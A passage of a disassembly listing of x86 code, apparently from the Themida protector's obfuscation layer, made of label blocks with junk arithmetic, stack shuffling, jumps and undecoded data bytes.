		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D887:				; CODE XREF: Themida_:005A0045j
		neg	edi
		jmp	loc_5ABAB4
; ---------------------------------------------------------------------------
		dw 0CCE9h
		dd 890000F8h, 46851E6h,	59000000h, 718CEE81h, 0CE0172A9h
		dd 718CBA52h, 90E972A9h, 87000055h, 248B243Ch, 0E0895024h
		dd 405h, 40500h, 4870000h, 0C90B5C24h, 2C94840Fh, 0B9680000h
		dd 68000061h, 810h, 11BECE9h
		db 0
; ---------------------------------------------------------------------------


loc_59D8DD:				; CODE XREF: Themida_:0059E916j
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5AD784
; ---------------------------------------------------------------------------
		db 81h
		dd 623DDDE9h, 5AC981D4h, 0E9332656h, 0FFFFD94Eh, 0C159C831h
		dd 0E0C104E0h, 0BD555205h, 34141204h, 7F62E9h
		db 0
; ---------------------------------------------------------------------------


loc_59D919:				; CODE XREF: Themida_:0059E7EAj
		mov	ebx, [esp]
		jmp	loc_5A1135
; ---------------------------------------------------------------------------


loc_59D921:				; CODE XREF: Themida_:0059B5E8j
		add	edi, 122D5E05h
		jmp	loc_5A6A25
; ---------------------------------------------------------------------------


loc_59D92C:				; CODE XREF: Themida_:0059DD83j
		mov	ebp, 6FA40152h
		sub	edx, 36372CA2h
		add	edx, ebp
		add	edx, 36372CA2h
		pop	ebp
		sub	edx, eax
		jmp	loc_5A3A26
; ---------------------------------------------------------------------------


loc_59D947:				; CODE XREF: Themida_:005A2E01j
		push	1B40h
		mov	[esp], edx
		mov	edx, 16C256D0h
		or	edx, 2E6F6006h
		jmp	loc_5A7B7C
; ---------------------------------------------------------------------------


loc_59D95F:				; CODE XREF: Themida_:005AB038j
		add	dword ptr [eax], 1
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5A84A2
; ---------------------------------------------------------------------------
		dd 0E1324868h, 489FE913h, 0C2810000h, 684E71BFh, 8904EC83h
		dd 0D6E92434h, 5F0000EFh, 4C481h, 2C330000h, 242C3124h
		dd 8B242C33h, 0AE92424h
		db 93h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D9A3:				; CODE XREF: Themida_:005A5BE6j
		add	eax, 2DFE7264h
		add	eax, 53B600DAh
		sub	eax, esi
		jmp	loc_5A19A9
; ---------------------------------------------------------------------------


loc_59D9B4:				; CODE XREF: Themida_:005A0BD3j
		push	0E37h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		sub	esi, 4
		jmp	loc_5A6DC5
; ---------------------------------------------------------------------------


loc_59D9CF:				; CODE XREF: Themida_:0059E104j
					; Themida_:005AE61Aj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A3E51
; ---------------------------------------------------------------------------


loc_59D9D8:				; CODE XREF: Themida_:005A423Cj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5AE460
; ---------------------------------------------------------------------------
		db 45h,	0Fh, 80h
		dd 0FFFFEB1Bh, 17C8E581h, 8C0F18D2h, 0FFFFE4ABh, 60AFF581h
		dd 0EA893F2Ah, 2C81525Dh, 611C5C24h, 0C7815F5Ah, 5A611C5Ch
		dd 0CB6FE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DA12:				; CODE XREF: Themida_:005A08C8j
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		mov	eax, edx
		jmp	loc_5A1567
; ---------------------------------------------------------------------------


loc_59DA25:				; CODE XREF: Themida_:0059D297j
					; Themida_:005A7779j
		mov	[esp], ebx
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_59DF66
; ---------------------------------------------------------------------------


loc_59DA43:				; CODE XREF: Themida_:005A8198j
		xor	edx, ebp
		pop	ebp
		shl	edx, 8
		not	edx
		jmp	loc_5A36CA
; ---------------------------------------------------------------------------


loc_59DA50:				; CODE XREF: Themida_:0059BBB8j
		xchg	esi, ebp
		jmp	loc_5ACC19
; ---------------------------------------------------------------------------


loc_59DA57:				; CODE XREF: Themida_:005AE315j
		xor	esi, ebp
		pop	ebp
		mov	edx, esi
		pop	esi
		and	eax, edx
		pop	edx
		or	edx, eax
		shl	edx, 1
		push	7585h
		jmp	loc_5AC9AA
; ---------------------------------------------------------------------------


loc_59DA6E:				; CODE XREF: Themida_:0059C7F1j
					; Themida_:005A368Cj
		or	ebp, 7E035239h
		inc	ebp
		sub	ebp, 7F975EB6h
		add	esi, 4BB53C0Eh
		add	esi, ebp
		sub	esi, 4BB53C0Eh
		pop	ebp
		jmp	loc_59D12C
; ---------------------------------------------------------------------------
aBXSW		db 'Α',27h,'xΐ[ι`W',0
		align 2


loc_59DA9A:				; CODE XREF: Themida_:0059D711j
		add	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 59D03EB4h
		dec	esi
		push	ebp
		push	ebx
		mov	ebx, 59353873h
		mov	ebp, ebx
		pop	ebx
		push	edx
		mov	edx, 4064126Fh
		neg	edx
		inc	edx
		xor	edx, 0D4D5FC40h
		xor	ebp, edx
		pop	edx
		xor	ebp, 48F173CEh
		sub	ebp, 60BA4674h
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	esi, 73A052AAh
		add	edx, 62FB32ABh
		jmp	loc_5AE854
; ---------------------------------------------------------------------------


loc_59DAF5:				; CODE XREF: Themida_:00599EB9j
		shl	ebp, 4
		push	edx
		mov	edx, 48D825E3h
		add	edx, 1BC22A0Ah
		add	ebp, edx
		pop	edx
		shl	ebp, 5
		jmp	loc_5AECCF
; ---------------------------------------------------------------------------
		db 68h
		dd 6608h, 50243489h, 4914E3B8h,	0E7ECE902h, 850FFFFFh
		dd 2625h, 9BC58166h, 0EB89665Eh, 53242C8Bh
		db 5Dh
; ---------------------------------------------------------------------------


loc_59DB35:				; CODE XREF: Themida_:005A5E98j
		mov	ecx, 37CC1008h
		push	6B36h
		mov	[esp], edi
		mov	edi, 0A9E3D0Ah
		jmp	loc_5ACB2E
; ---------------------------------------------------------------------------


loc_59DB4C:				; CODE XREF: Themida_:0059A19Bj
		cmp	cx, ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59DB55:				; CODE XREF: Themida_:005A6BBBj
		mov	[esp], edi
		jmp	loc_5A7F13
; ---------------------------------------------------------------------------


loc_59DB5D:				; CODE XREF: Themida_:0059DEB2j
		push	dword ptr [esp]
		pop	edx
		push	ebx
		jmp	loc_5A4213
; ---------------------------------------------------------------------------


loc_59DB67:				; CODE XREF: Themida_:005A5182j
		pop	esp
		imul	cl
		movzx	cx, ah
		push	small 70D3h
		mov	[esp], cx
		jmp	loc_59C8D3
; ---------------------------------------------------------------------------


loc_59DB7B:				; CODE XREF: Themida_:005A791Bj
		mov	[esp], ebx
		jmp	loc_5A94AE
; ---------------------------------------------------------------------------


loc_59DB83:				; CODE XREF: Themida_:005A8571j
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5A2982
; ---------------------------------------------------------------------------
a4ms5		db '4¬ι5\',0
		dw 8300h
		dd 2C8904ECh, 59B4E924h, 1C8B0000h, 1A18E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59DBB6:				; CODE XREF: Themida_:005AE438j
		push	25BD3037h
		pop	ebx
		neg	ebx
		push	edx
		mov	edx, 46A84501h
		jmp	loc_5AC6A2
; ---------------------------------------------------------------------------
		db 68h,	0B5h, 26h
		dd 24890000h, 24048324h, 0DFE95E04h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DBDB:				; CODE XREF: Themida_:005A0F69j
		mov	edx, 6FA24D0Ah
		jmp	loc_59F6E9
; ---------------------------------------------------------------------------
aYqishla	db 'YQ‰αh‹A',0
		align 2
		dw 1489h
		dd 4BA24h, 0D1010000h, 0B611E9h
		db 0
; ---------------------------------------------------------------------------


loc_59DBFD:				; CODE XREF: Themida_:005A5662j
		not	edi
		shr	edi, 8
		add	edi, 0FFFFFFFFh
		jmp	loc_59C163
; ---------------------------------------------------------------------------
		dw 0FB29h
		dd 83243C8Bh, 0D82904C4h, 27CAE9h, 5DBE5600h, 811A5F03h
		dd 0C82263CEh, 0E1E9500Fh
		db 2 dup(1), 0
; ---------------------------------------------------------------------------


loc_59DC2B:				; CODE XREF: Themida_:005A4955j
					; Themida_:005A9A12j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		jmp	loc_5A56CB
; ---------------------------------------------------------------------------


loc_59DC3A:				; CODE XREF: Themida_:005A4058j
		pop	edx
		push	ebp
		mov	ebp, esp
		jmp	loc_59FF06
; ---------------------------------------------------------------------------


loc_59DC43:				; CODE XREF: Themida_:005AD505j
		add	eax, 786A0A9Ch
		sub	eax, ebp
		sub	eax, 786A0A9Ch
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		jmp	loc_5A28DE
; ---------------------------------------------------------------------------
		db 5
		dd 481579BDh, 0A5232005h, 0E9F0017Dh, 3D63h
; ---------------------------------------------------------------------------


loc_59DC6C:				; CODE XREF: Themida_:0059E5CBj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A5910
; ---------------------------------------------------------------------------


loc_59DC83:				; CODE XREF: Themida_:005ADA4Cj
		mov	[esp], ebp
		mov	ebp, 67C39F2h
		not	ebp
		push	ebp
		jmp	loc_5A74F2
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78100h, 0E9000000h, 0FFFFFC0Bh
; ---------------------------------------------------------------------------


loc_59DCA4:				; CODE XREF: Themida_:0059C03Ej
		add	ebx, 3CAFF774h
		mov	esi, ebx
		pop	ebx
		jmp	loc_5A66C1
; ---------------------------------------------------------------------------


loc_59DCB2:				; CODE XREF: Themida_:loc_5AE1E0j
		or	cl, 0F6h
		jb	loc_59AC9C
		jmp	loc_5A2A97
; ---------------------------------------------------------------------------
		dd 81243C8Bh, 4C4h, 4EC8300h, 0B8240489h, 4B921222h, 0FFB9BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59DCD9:				; CODE XREF: Themida_:005A6FD8j
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		jmp	loc_5A6B3E
; ---------------------------------------------------------------------------


loc_59DCEA:				; CODE XREF: Themida_:005AF0D5j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59DCEF:				; CODE XREF: Themida_:005ADE17j
		not	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		xchg	edi, ebx
		add	ebx, 60E645A2h
		add	ebx, 0C6E358h
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 527E31BCh
		push	edi
		mov	edi, 527E29BCh
		add	ecx, 37B240Fh
		sub	ecx, edi
		push	esi
		mov	esi, 37B240Fh
		sub	ecx, esi
		pop	esi
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, ecx
		pop	ecx
		and	eax, ebx
		jmp	loc_59BB08
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0CEh
		dd 0C11A5509h, 0D0F704E8h, 0D0F7D8F7h, 0C6F2E9h
		db 0
; ---------------------------------------------------------------------------


loc_59DD61:				; CODE XREF: Themida_:005ACCC4j
		mov	eax, 4F1B4DD1h
		shl	eax, 8
		or	eax, 51367673h
		shl	eax, 1
		shr	eax, 5
		xor	eax, 2A288A66h
		add	ebx, eax
		pop	eax
		jmp	loc_5A772D
; ---------------------------------------------------------------------------


loc_59DD80:				; CODE XREF: Themida_:0059B4FCj
		mov	[esp], ebp
		jmp	loc_59D92C
; ---------------------------------------------------------------------------


loc_59DD88:				; CODE XREF: Themida_:0059C34Ej
		sub	bl, ah
		pop	ax
		sub	bl, 6Bh
		push	ecx
		mov	ch, 0FCh
		xor	ch, 2Ah
		jmp	loc_5A77F8
; ---------------------------------------------------------------------------


loc_59DD9A:				; CODE XREF: Themida_:005AE3CAj
		pop	ecx
		jmp	loc_598BC5
; ---------------------------------------------------------------------------


loc_59DDA0:				; CODE XREF: Themida_:005A6590j
		add	esi, 0FA1DDA24h
		add	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		jmp	loc_5A3166
; ---------------------------------------------------------------------------
		dd 2AC319BDh, 5DEA2995h, 0C977262Dh, 71BF5757h,	0E9709674h
		dd 5A79h, 240C8B66h, 8904EC83h,	14E9243Ch
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59DDDF:				; CODE XREF: Themida_:0059D091j
					; Themida_:005AB9DDj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A7A0A
; ---------------------------------------------------------------------------


loc_59DDEC:				; CODE XREF: Themida_:0059874Bj
		add	esi, edi
		sub	esi, 5FEB70F2h
		mov	edi, [esp]
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	24h
		pop	edx
		sub	edx, 44F93754h
		add	edx, edi
		jmp	loc_5A0485
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 68243489h, 38B57FDAh, 0D6EE815Eh, 5238B57Fh,	89F78957h
		dd 0D7895FFAh, 0EA815E5Ah, 45626E6Fh, 0E3E9FA01h, 0BF00008Ah
		dd 4, 79BBC281h, 41E93C1Bh
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59DE57:				; CODE XREF: Themida_:005AB31Bj
		push	ecx
		jmp	loc_59FFAC
; ---------------------------------------------------------------------------


loc_59DE5D:				; CODE XREF: Themida_:005ABE6Cj
		xchg	esi, [esp]
		pop	esp
		retn
; ---------------------------------------------------------------------------
		dw 25E9h
		dd 29FFFFA5h, 0D6015AD6h, 3A1CC681h, 815A682Ah,	4EEh, 0CCC9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DE7E:				; CODE XREF: Themida_:005AEF26j
		mov	[esp], edi
		push	692Ah
		mov	[esp], edx
		push	eax
		mov	eax, 3C9B3428h
		shl	eax, 5
		jp	loc_5A64B0
		neg	eax
		js	loc_5AA53A
		shr	eax, 4
		mov	ebx, eax
		push	ebp
		sub	eax, 20F21502h
		sub	eax, edx
		add	eax, 20F21502h
		jmp	loc_59DB5D
; ---------------------------------------------------------------------------
		db 0FFh
		dd 589D1C77h, 9C240419h, 0FFA4C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59DEC5:				; CODE XREF: Themida_:005A7195j
		mov	[esp], esi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		mov	esi, [esp]
		jmp	loc_5AF1D5
; ---------------------------------------------------------------------------
		dw 0D989h
		dd 0FFC8ECE9h, 242C8BFFh, 4C481h, 0EDC10000h, 10F58104h
		dd 0E961214Fh, 0FFFFEC19h
; ---------------------------------------------------------------------------


loc_59DF00:				; CODE XREF: Themida_:005ADB67j
		add	[esp+8], ebx
		pop	ebx
		pop	ebp
		pop	dword ptr [edi+20h]
		jmp	loc_5A77FF
; ---------------------------------------------------------------------------
		dw 7DBEh
		dd 29238844h, 0D6015EF2h, 0FF2434FFh, 815A2434h, 4C4h
		dd 6F2FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59DF2A:				; CODE XREF: Themida_:00599A1Dj
		mov	edx, 0DAF7E51h
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5A86DD
; ---------------------------------------------------------------------------


loc_59DF40:				; CODE XREF: Themida_:005A0DF3j
		push	edi
		mov	edi, 57F37C19h
		inc	edi
		jp	loc_5A4FC0
		xor	edi, 71C61AC3h
		jbe	loc_5AC588
		add	edi, 0F8160DDCh
		mov	edx, edi
		jmp	loc_59F022
; ---------------------------------------------------------------------------


loc_59DF66:				; CODE XREF: Themida_:0059DA3Ej
		mov	[esp], ecx
		jmp	loc_5AB8EA
; ---------------------------------------------------------------------------


loc_59DF6E:				; CODE XREF: Themida_:005A7C3Aj
		mov	[esp], edx
		mov	dl, 73h
		add	al, dl
		pop	edx
		jmp	loc_5A8C26
; ---------------------------------------------------------------------------


loc_59DF7B:				; CODE XREF: Themida_:005AB7E8j
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 20A32C03h
		jmp	loc_5A68BA
; ---------------------------------------------------------------------------


loc_59DF8C:				; CODE XREF: Themida_:005A3A83j
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_59C02F
; ---------------------------------------------------------------------------
		db 5Ah
		dd 6859C800h, 2CEh, 0B6241489h,	8C68089h, 0E958B050h, 0D3F7h
		dd 7C73BA52h, 61E90FDBh
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59DFBB:				; CODE XREF: Themida_:0059BB7Aj
		jno	loc_5A2B8F
		sub	ebp, 5B4D5506h
		jmp	loc_5A650C
; ---------------------------------------------------------------------------
		dd 57C5015Fh
; ---------------------------------------------------------------------------


loc_59DFD0:				; CODE XREF: Themida_:005ACDDCj
		xor	edx, 0F2336367h
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 1AF52AF8h
		jmp	loc_5A2BBE
; ---------------------------------------------------------------------------


loc_59DFEB:				; CODE XREF: Themida_:005A3363j
		jle	loc_5A9427
		jmp	loc_5A047B
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0C780240Ch
		db 53h,	56h
; ---------------------------------------------------------------------------


loc_59DFFE:				; CODE XREF: Themida_:loc_5A63C1j
		dec	ebp
		jnp	loc_59C589
		push	ecx
		mov	ecx, 3AB0DC03h
		xor	ebp, ecx
		pop	ecx
		mov	ebx, ebp
		jmp	loc_59D775
; ---------------------------------------------------------------------------
		db 0F6h, 0DDh, 0E9h
		dd 0E78Dh
; ---------------------------------------------------------------------------


loc_59E01C:				; CODE XREF: Themida_:005AE066j
		sub	cl, 0D4h
		sub	cl, 6
		jmp	loc_59921B
; ---------------------------------------------------------------------------


loc_59E027:				; CODE XREF: Themida_:005A5CB8j
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_5A61F7
; ---------------------------------------------------------------------------


loc_59E031:				; CODE XREF: Themida_:0059CE38j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	cl, al
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59E051:				; CODE XREF: Themida_:005A0161j
					; Themida_:005AED39j
		sub	esi, 33A12661h
		add	esi, eax
		add	esi, 33A12661h
		jmp	loc_5A6578
; ---------------------------------------------------------------------------
		dd 52E7D159h, 796CB6BAh, 0E9D70113h, 0FFFFD579h, 9099E9h
		dd 43DA6800h, 24890000h, 405CE924h, 0F4A0000h, 729B8Fh
		dd 44EA8100h, 0C14CE674h, 890F08E2h, 1028Bh, 0A9CFEA81h
		dd 0D1895864h, 8124148Bh, 4C4h,	92C98100h, 0F16E61Fh, 0C06C8Bh
		dd 0FFE98100h, 81FFFFFFh, 0E60F97F1h
		db 17h,	89h, 0CBh
; ---------------------------------------------------------------------------


loc_59E0C7:				; CODE XREF: Themida_:005A7878j
		add	ebx, 583F9CBFh
		jmp	loc_599163
; ---------------------------------------------------------------------------


loc_59E0D2:				; CODE XREF: Themida_:0059FEBAj
		and	ecx, ebx
		pop	ebx
		shr	ecx, 7
		push	4744h
		mov	[esp], edx
		mov	edx, ebx
		push	271Dh
		mov	[esp], esi
		push	edx
		pop	esi
		mov	eax, esi
		mov	esi, [esp]
		push	790Ch
		jmp	loc_5ACF35
; ---------------------------------------------------------------------------


loc_59E0FB:				; CODE XREF: Themida_:005A3BE2j
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_59D9CF
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0B850243Ch, 34F024B0h, 0F024AC2Dh, 34815034h
		dd 0A307C24h, 0F7815F52h, 520A307Ch, 40C96858h,	15E90000h
		dd 0BD0000BBh, 2BBF19AEh, 0F75DEF89h, 0F7DF87DFh, 0E9DF31DBh
		dd 533Ch
; ---------------------------------------------------------------------------


loc_59E14C:				; CODE XREF: Themida_:005A12FBj
		add	ch, 8Dh
		add	bl, ch
		pop	ecx
		add	bl, ah
		jmp	loc_5A0FAF
; ---------------------------------------------------------------------------


loc_59E159:				; CODE XREF: Themida_:005A8097j
		mov	eax, 4F9A109Ch
		sub	eax, 623456F6h
		and	eax, 34AD2187h
		neg	eax
		dec	eax
		add	eax, 66D95D15h
		xor	ebx, eax
		jmp	loc_5ADA9D
; ---------------------------------------------------------------------------
		db 89h
		dd 3DDCE9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E17E:				; CODE XREF: Themida_:005ACE1Bj
		mov	cl, 4Fh
		and	cl, 8Ah
		jo	loc_599585
		sub	cl, 38h
		jg	loc_5A127F
		or	cl, 9Ah
		jg	loc_5A873E
		shl	cl, 2
		jnz	loc_598A4D
		add	cl, 1Eh
		neg	cl
		jmp	loc_5A1057
; ---------------------------------------------------------------------------


loc_59E1AE:				; CODE XREF: Themida_:005A17C2j
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_59ED9E
; ---------------------------------------------------------------------------


loc_59E1BB:				; CODE XREF: Themida_:005A7AE0j
		xor	edx, 3944398Ch
		jz	loc_5A81E7
		xor	edx, 0ABCA726h
		push	edi
		mov	edi, 1DE5486Ah
		jmp	loc_5A1E2E
; ---------------------------------------------------------------------------


loc_59E1D8:				; CODE XREF: Themida_:005AE941j
		push	eax
		mov	eax, 6E7605BCh
		add	eax, 62764D6Fh
		jmp	loc_5A4AD0
; ---------------------------------------------------------------------------
		dd 629C681h, 0ED8139DBh, 0C5538EBh, 0C581F529h,	0C5538EBh
		dd 2EAF685Eh, 3C890000h, 0E3895324h, 4C381h, 0EB830000h
		dd 241C8704h, 242C895Ch, 0F01E11BDh, 6A1E948h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59E222:				; CODE XREF: Themida_:005AC656j
		xor	bl, al
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 38h
		mov	ebx, edx
		jmp	loc_5A67FD
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 66AD2725h, 0F54A850Fh, 0D8E90000h, 53FFFFB8h, 4BBh
		dd 59DF0100h
		db 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A7596
; ---------------------------------------------------------------------------


loc_59E263:				; CODE XREF: Themida_:005A17F6j
		push	eax
		jmp	loc_5A8C5C
; ---------------------------------------------------------------------------


loc_59E269:				; CODE XREF: Themida_:loc_599A02j
		shr	esi, 7
		neg	esi
		jp	loc_5A7773
		add	esi, 22C8E3C7h
		jmp	loc_59E34C
; ---------------------------------------------------------------------------
		db 8Bh
		db 1Ch,	24h
; ---------------------------------------------------------------------------


loc_59E282:				; CODE XREF: Themida_:005A613Aj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	al, dl
		push	edx
		mov	dl, al
		mov	bl, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5AE15C
; ---------------------------------------------------------------------------


loc_59E29B:				; CODE XREF: Themida_:005AAEEDj
		add	esp, 4
		and	bl, 16h
		xor	bl, 0Fh
		add	ch, 2Ch
		push	eax
		mov	ah, 0C4h
		sub	ch, ah
		pop	eax
		add	ch, bl
		push	eax
		jmp	loc_5A7A35
; ---------------------------------------------------------------------------


loc_59E2B5:				; CODE XREF: Themida_:0059A960j
		add	esi, 6194B4Bh
		jmp	loc_5A900D
; ---------------------------------------------------------------------------


loc_59E2C0:				; CODE XREF: Themida_:0059E92Dj
		pop	eax
		jmp	loc_5A2E9F
; ---------------------------------------------------------------------------


loc_59E2C6:				; CODE XREF: Themida_:0059B460j
		pop	edi
		jmp	loc_5AE353
; ---------------------------------------------------------------------------


loc_59E2CC:				; CODE XREF: Themida_:0059AB08j
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_5A7A3C
; ---------------------------------------------------------------------------


loc_59E2DA:				; CODE XREF: Themida_:0059C5D0j
		and	ebx, 45387091h
		jmp	loc_5AA65B
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Eh, 68000000h,	1694h, 0E9241C89h, 1AE8h, 240C3166h
		dd 240C3366h, 240C3166h, 2EC81h, 89660000h, 5566240Ch
		dd 240C8B66h, 1134E9h, 98C58100h, 0E997045Fh, 0AD6Ch
; ---------------------------------------------------------------------------


loc_59E328:				; CODE XREF: Themida_:0059C8FFj
		inc	esi
		and	esi, 30C82B1Fh
		push	edi
		mov	edi, 462278EEh
		or	edi, 3FA9288Fh
		shl	edi, 3
		add	edi, 7CB5575Fh
		or	esi, edi
		pop	edi
		jmp	loc_59FA3A
; ---------------------------------------------------------------------------


loc_59E34C:				; CODE XREF: Themida_:0059E27Aj
					; Themida_:005A43B2j
		mov	edx, 29CB5F6Ah
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ecx, 6F675C58h
		sub	ecx, 58426ED5h
		sub	ecx, ebx
		add	ecx, 58426ED5h
		push	ebp
		mov	ebp, 6126223Eh
		shr	ebp, 3
		shr	ebp, 6
		xor	ebp, 6F57CF49h
		add	ecx, ebp
		pop	ebp
		jmp	loc_59F649
; ---------------------------------------------------------------------------


loc_59E387:				; CODE XREF: Themida_:005A6BABj
		mov	[esp], eax
		jmp	loc_5ADCBF
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4E165F0Fh, 5F0DF381h, 0C1E94E16h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59E39F:				; CODE XREF: Themida_:loc_5A2204j
		neg	ebp
		inc	ebp
		jz	loc_5A7582
		push	edx
		jmp	loc_598D6B
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 5BFDh, 5CA668h, 8F06800h, 0E5E90000h, 81FFFFD9h, 3C5957EDh
		dd 243C8B43h, 8104C483h, 4B32BBC1h, 8DFCE979h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E3DA:				; CODE XREF: Themida_:005A9BD8j
		or	esi, 0A4713F4h
		shr	esi, 7
		jmp	loc_5AE7EB
; ---------------------------------------------------------------------------
		dd 0C1815954h, 4, 0FD58E9h
		db 0
; ---------------------------------------------------------------------------


loc_59E3F5:				; CODE XREF: Themida_:005AE856j
		sub	edx, 62FB32ABh
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59F941
; ---------------------------------------------------------------------------


loc_59E407:				; CODE XREF: Themida_:loc_5A4E94j
		add	ecx, 5EC81022h
		mov	ebx, ecx
		pop	ecx
		neg	ebx
		sub	esp, 4
		jmp	loc_59FCCA
; ---------------------------------------------------------------------------


loc_59E41D:				; CODE XREF: Themida_:0059AD86j
					; Themida_:005A6C38j
		add	edi, edx
		add	edi, 2BA11727h
		pop	edx
		push	ebp
		mov	ebp, 4
		push	ecx
		mov	ecx, 6E22045Dh
		add	edi, ecx
		pop	ecx
		sub	edi, ebp
		sub	edi, 6E22045Dh
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5AB664
; ---------------------------------------------------------------------------


loc_59E447:				; CODE XREF: Themida_:0059CDDFj
		add	bl, 9
		xor	bl, 0ADh
		sub	ch, bl
		jmp	loc_59F2E5
; ---------------------------------------------------------------------------


loc_59E454:				; CODE XREF: Themida_:005AADE1j
					; Themida_:005AE171j
		push	edi
		mov	edi, 2BAE2CC3h
		sub	[esp+0Ch], edi
		pop	edi
		sub	[esp+8], ebx
		add	dword ptr [esp+8], 2BAE2CC3h
		pop	ebx
		add	dword ptr [esp+4], 2D02246Eh
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 2D02246Eh
		add	dword ptr [esp+4], 1ABD5205h
		pop	ecx
		add	[esp], eax
		push	ebp
		push	ebx
		jmp	loc_59D46D
; ---------------------------------------------------------------------------


loc_59E493:				; CODE XREF: Themida_:0059916Bj
		dec	ebp
		push	esi
		push	6E3Ah
		mov	[esp], ebx
		mov	ebx, 6DD221B6h
		dec	ebx
		xor	ebx, 1058465Ch
		jmp	loc_5A854B
; ---------------------------------------------------------------------------


loc_59E4AE:				; CODE XREF: Themida_:005AEF1Dj
		sub	esp, 4
		jmp	loc_59AE67
; ---------------------------------------------------------------------------


loc_59E4B6:				; CODE XREF: Themida_:005A1CDCj
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5A9774
; ---------------------------------------------------------------------------
		db 0BBh, 33h, 14h
		dd 0BE565CC4h, 6A9B066Eh, 348BF331h, 4C48324h, 0FFC8EDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59E4E5:				; CODE XREF: Themida_:005AAC35j
		jp	loc_5A6189
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A53E9
; ---------------------------------------------------------------------------
		dw 4D45h
		dd 8F04C483h, 751E6800h, 0ECE90000h, 68000001h,	200Ch
		dd 0B4240489h, 80E951E4h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_59E517:				; CODE XREF: Themida_:0059C076j
		mov	[esp], ebp
